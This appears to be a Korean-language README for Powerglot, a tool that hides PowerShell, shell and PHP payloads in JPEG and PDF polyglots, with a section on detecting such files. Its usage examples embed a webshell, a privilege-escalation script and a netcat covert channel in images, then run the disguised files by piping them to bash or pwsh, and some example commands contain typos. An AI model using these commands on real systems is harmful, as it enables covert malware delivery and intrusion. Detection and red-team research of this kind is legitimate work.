
Powerglot는 폴리글롯을 사용하여 공격적인 PowerShell 스크립트를 인코딩합니다. 스테고-멀웨어, 권한 상승, 측면 이동, 리버스 셸 등에 유용한 오펜시브 보안 도구입니다.
Powerglot는 폴리글롯을 사용하여 여러 종류의 스크립트(예: 공격용 PowerShell 스크립트)를 인코딩합니다. 페이로드를 실행하기 위해 로더가 필요하지 않습니다.
레드팀 연습이나 공격 작업에서 페이로드 은닉은 일반적으로 스테가노그래피를 사용하여 수행되며, 특히 네트워크 수준 보호를 우회하기 위해 사용됩니다. 가장 일반적인 페이로드 중 하나는 PowerShell로 개발된 스크립트입니다. 최근의 맬웨어 및 APT는 이러한 기능 중 일부를 활용합니다: APT32, APT37, Ursnif, Powload, LightNeuron/Turla, Platinum APT, Waterbug/Turla, Lokibot, The dukes (operation Ghost), Titanium 등.
Powerglot은 폴리글롯을 기반으로 한 다기능, 다중 플랫폼 공격 및 방어 도구입니다. Powerglot은 스크립트(PowerShell, 셸 스크립트, PHP 등)를 주로 디지털 이미지에 은닉할 수 있으며, 다른 파일 형식도 개발 중입니다. 일반적인 공격 도구나 맬웨어와 달리, Powerglot은 '은닉된 정보'를 실행하기 위해 로더가 필요하지 않아 대상 시스템에서 노이즈를 최소화합니다.
PowerGlot은 공격 작업에서 명확한 유용성을 가지지만, 탐지 및 블루팀 도구로도 정의됩니다. 우리가 아는 한, 폴리글롯을 사용한 은닉 정보의 존재를 검색할 수 있는 최초의 일반적이고 완전한 오픈소스 도구입니다. 이러한 정보는 시스템에 지속성을 확보하거나 맬웨어(스테고 맬웨어, 권한 상승, 측면 이동, 리버스 셸 등)를 숨기는 데 유용할 수 있습니다.
Features:
폴리글롯 이미지에 PowerShell/셸 스크립트/PHP 등을 인코딩합니다. 은닉 정보(페이로드)를 복구/실행하기 위해 로더가 필요하지 않습니다. PowerGlot은 여러 형식과 함께 작동합니다. 주로 JPEG 및 PDF 형식입니다. 다른 형식은 개발 중입니다.
Powerglot은 (악성) 폴리글롯을 탐지하는 완전한 오픈소스 도구로, 특히 Truepolyglot 또는 stegoSploit 같은 일부 공개 도구의 결과를 탐지합니다. 여러 형식(JPEG, PNG, GIF, BMP, ZIP, PDF, MP3 등)에서 작동합니다.
# git clone https://github.com/mindcrypt/powerglot
# python3 powerglot
Powerglot을 사용하여 폴리글롯으로 페이로드를 은닉하는 몇 가지 예
# Example 1 - Hiding a powershell/php/shell script in a JPEG image
# python3 powerglot.py -o payload.ps1 cat.jpg cat-hidden1.jpg
# python3 powerglot.py -o webshell.php cat.jpg cat-hidden2.jpg
# python3 powerglot.py -o shell.sh cat.jpg cat-hidden3.jpg
# Example 2 - Hiding a shell script (linenum.sh) for privilege escalation "hidden" in a JPEG image
# python3 powerglot.py -o linenum.sh cat.jpg cat-linenum.jpg
# file cat-linenum.jpg (It is a valid JPEG file)
# feh cat-lineum.jpg (The image is properly showed in an image viewer)
# We can execute the script in several ways:
a) cat cat-linenum | bash
b) chmod +x cat-linenum.jpeg; ./cat-linenum.jpeg
# Example 3 - Hiding a cover-channel wiht netcat in a JPEG image
# Attacker
# echo "nc 127.0.0.1 4444" > netcat.sh
# python3 powerglot.py -o netcat.sh cat.jpeg cat-netcat.jpeg
# nc -nvlp 4444
#Victim
# chmod +x cat-netcat.jpg | ./cat-netcat.jpg

# Example 4 - Polyglot in PDF (Ej-linenum.sh)
# Create b64.sh with your favourite payload
base64 Linenum.sh -w 0 > b64.sh
# Edit b64.sh
echo "code in b64.sh" | base64 -d | bash;
# python3 powerglot -o b64.sh sample.pdf test.pdf
# file test.pdf
# xpdf test.pdf
# Execute payload
# cat test.pdf | bash or chmod +x test.pdf; ./test.pdf
# Example 5 - Powershell in JPEG (polyglot)
# python3 powerglot.py -o script.ps1 cat.jpeg cat-ps.jpeg
# file cat-ps.jpeg
# feh cat-ps.jpeg
# Execute payload (example)
# cat cat-ps.jpeg | pwsh
PS /home/alfonso/PowerGlot/POWERSHELL> get-process;<#hola <# mundo#>
NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName
------ ----- ----- ------ -- -- -----------
0 0,00 2,70 0,00 830 829 (sd-pam)
0 0,00 0,00 0,00 75 0 acpi_thermal_pm
0 0,00 4,80 0,00 1217 854 agent
0 0,00 1,70 0,00 748 748 agetty
0 0,00 40,77 1,01 1198 854 applet.py
0 0,00 6,29 0,00 938 938 at-spi-bus-launcher
0 0,00 6,61 5,64 953 938 at-spi2-registryd
0 0,00 0,00 0,00 131 0 ata_sff
0 0,00 1,77 0,00 8906 …78 atom
0 0,00 218,81 585,95 8908 …78 atom
0 0,00 236,18 176,24 8947 …78 atom
0 0,00 142,14 2,51 9009 …78 atom
0 0,00 81,54 3,32 8932 …78 atom --type=gpu-process --enable-features=SharedArrayBuffer -…
0 0,00 39,44 0,01 8910 …78 atom --type=zygote --no-sandbox
0 0,00 5,62 0,11 1370 …70 bash
0 0,00 5,36 0,66 5278 …78 bash
0 0,00 6,34 1,48 6778 …78 bash
0 0,00 0,00 0,00 68 0 blkcg_punt_bio
0 0,00 46,73 2,20 1199 854 blueman-applet
0 0,00 50,25 1,64 1301 854 blueman-tray
파일 시스템에서 폴리글롯을 탐지하는 몇 가지 예
#python3 powerglot.py -d ./
--= [Detecting polyglots] --=
..............................................................
[Suspicious file]-[ ./cat-end-extra2.jpg ]..
[Suspicious file]-[ ./cat-end-extra3.jpg ][Polyglot Stegosploit][EOF Signature: */ -->]
.................................................................................
[Suspicious file]-[ ./cat-end-extra1.jpg ]..
이 프로젝트는 Dr. Alfonso Muñoz와 Abraham Pasamar가 개발했습니다. 코드는 GNU General Public License v3에 따라 배포됩니다.